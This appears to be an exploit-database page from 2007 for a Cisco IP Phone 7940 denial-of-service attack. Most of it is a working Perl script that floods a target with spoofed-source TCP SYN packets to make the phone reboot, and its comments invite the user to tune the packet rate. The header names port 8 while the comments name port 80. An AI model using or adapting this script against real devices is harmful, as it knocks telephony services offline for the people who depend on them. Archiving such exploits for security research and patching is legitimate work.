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Cisco IP Phone 7940 (Reboot) Denial of Service Exploit

🗓️ 14 Dec 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Cisco IP Phone 7940 Denial of Service exploit via port 8

Code

                                                #!/usr/bin/perl
# This is made for trashing cisco 7940 ip phones. kokanin made/discovered this.
# A packetcount of 1000 and a packetdelay of 0.002 sent to port 80 makes my 
# phone reboot - play with the settings and stuff. PRIVATE PRIVATE PRIVATE!!!
# not private anymore. Vulnerable phones are running ver. 7.0(2.0) using the skinny
# protocol - this is not for the SIP firmware.

use Net::RawIP;
use Time::HiRes;
$pkt = new Net::RawIP;
die "Usage $0 <src> <dst> <target port> <number of pkts> <packet delay>" unless ($ARGV[4]);
$pkt->set({
        ip => {
                saddr => $ARGV[0],
                daddr => $ARGV[1] 
                },
        tcp=> { dest => $ARGV[2],
                syn => 1,
                seq => 0,
                ack => 0}
        });
for(1..$ARGV[3]){ $pkt->set({tcp=>{source=>int(rand(65535))}});Time::HiRes::sleep($ARGV[4]); $pkt->send; };
                              

Data

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14 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1
14